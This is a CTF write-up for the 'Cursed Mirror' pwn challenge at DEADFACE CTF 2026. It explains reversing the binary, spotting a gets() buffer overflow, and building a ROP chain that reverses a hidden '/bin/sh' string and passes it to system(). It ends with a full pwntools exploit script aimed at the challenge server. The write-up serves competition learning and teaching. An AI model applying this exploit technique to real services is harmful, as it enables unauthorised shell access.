Saarsec

saarsec

Schwenk and pwn

DEADFACE CTF 2026 - Cursed Mirror

Cursed Mirror at DEADFACE CTF 2026

Alternative title: How to stay in the Top 100 by speedrunning pwn.

No AI was used to solve the challenge or to write this writeup.

This challenge was solved in the last 20 minutes of the CTF, which got us back into the top 100 teams in the CTF. I therefore want to share not only the technical details but also how to save a lot of time when reversing/exploiting binaries. I could have made the writeup much less verbose, but I wanted to include my thought process.

Image

Exploration

Image

We get this challenge description with a single file zip archive to download. The description itself does not tell us much, but the meta information does: the challenge is only worth 150 points, and the only file is the binary itself (no libc). This makes a simple exploit very likely, which we can keep in mind while reversing the binary.

Downloading the zipped binary (513 MB) took almost as long as solving it (I assume the file size was an anti-LLM measure?). What is the first thing to do with unknown binaries downloaded from the internet? Execute them, of course. (This action was performed by trained professionals. Do not attempt at home.).

We get presented with a menu and quickly try out all 3 actions:

Binary Action 1: Break The Mirror Image Binary Action 3: Gaze deep into the Mirror

1 seems to be less interesting, it just quits. 3 simply prints a string (it seems to randomly pick from a list). 2 is worth looking at: it takes user input and outputs it in reverse.

Reversing

At this point one could have already tested for buffer overflow by inputting a long string, which crashes the binary. Another smart thing would have been to run checksec:

Image

NX with no canary or PIE makes ROP the most probable exploit. We did not do any of this during the CTF.

Instead, we open the binary in Ghidra. The authors were nice enough to give us the debug symbols. We get presented with the main function:

Image

Here is another tip for quicker reversing: you don’t need to rename and reverse a binary line-by-line (breadth-first). Going by intuition and following input (depth-first) will lead to interesting findings much faster.

We quickly skim over the two print_ functions and confirm that all they do is print static strings.

handle_action seems to reflect the menu we saw earlier:

Image

Again, we quickly confirm that leave does nothing interesting.

glimpses seems to randomly print from a list of strings, like we predicted:

Image

Since the strings were in reverse, we take a look out of curiosity:

Image

We spot two interesting things: all the string addresses are writable (why would they need to be?), and one of the strings is /bin/sh in reverse!

Taking a mental note of this, we move on to the last function, question:

Image

The trained eye immediately spots that gets is an unsafe function and that there is no length check on our input. This means we have a classical buffer overflow.

We take a look at reflect:

Image

This looks like some complicated manipulation of the buffer. But we don’t need to waste our time here: we know from running the binary that our input string is reversed, so we assume this is what the code does and move on.

While looking through the defined functions, we spot another interesting name1:

Image

Enter_The_Mirror invokes system on its first argument!

To summarize, we have:

  1. The string hs/nib/ (/bin/sh in reverse) in writable memory
  2. Controlled input into a buffer without length check (buffer overflow)
  3. A function that reverses the string it gets as the first argument
  4. A function that calls system with its first argument

This is all we need to start writing our exploit.

At this point it would have been easy to check whether there was a canary in the binary or if code addresses were randomized. But given the clues we had, which did not include a simple way to leak any code address or memory, we assumed this was not the case2.

Exploit Development

At a high level, our exploit should provide a ROP chain to the program that calls Enter_The_Mirror(reflect("hs/nib/")).

Our ROP chain payload should look like this:

  1. Fill the buffer until we get to the return address.
  2. Put the address of the reversed string into rdi 3.
  3. Call reflect()
  4. Call Enter_The_Mirror()

We copy the addresses of the reversed string, reflect(), and Enter_The_Mirror() from Ghidra. We also need to provide reflect() the address of our string as first argument, which we do with a pop rdi gadget.

Image

Finally, we need to know the offset from the start of the buffer to the return pointer. The easiest way to find this is with Ghidra’s inferred stack layout:

Image

Our buffer is at offset 0x48 (72) from the function’s return address, which makes sense (buffer size 64 + 8 bytes rbp).

Our final payload looks like this:

payload = [
	b"A" * (64+8), # padding
	p64(0x401da5), # pop rdi
	p64(0x406188), # reversed string
	p64(0x401950), # reflect()
	p64(0x40180d), # Enter_The_Mirror()
]

It works on my their machine

Since we are optimistic, we immediately run our exploit against the remote. We get a shell and the flag!

Image

Here is the full exploit (commented and refactored after the CTF):

from pwn import *

if args.REMOTE:
	p = remote('159.65.228.107', 5003)
else:
	p = process("/Cursed_Mirror")

# Select "Ask the Mirror a Question"
p.recvuntil(b"> ")
p.sendline(b"2")

# Answer with ROP chain
p.recvuntil(b"seek?:")

"""
ROP chain:
1. rdi = &"hs/nib/"
2. reverse(rdi)
3. system(rdi)
"""
payload = [
	b"A" * (64+8), # padding: fill buffer + rbp
	p64(0x401da5), # gadget pop rdi; ret;
	p64(0x406188), # address of string "hs/nib/"
	p64(0x401950), # function that reverses string in first argument (in-place)
	p64(0x40180d), # function that calls system(first argument)
]

p.sendline(flat(payload))
p.interactive()
  1. We only discovered this after thinking about our exploit, but mentioning it here makes more sense for the flow of the writeup. ↩

  2. Or in other words: we forgot. ↩

  3. If you are asking yourself why, look up “System V AMD64 ABI calling convention” ↩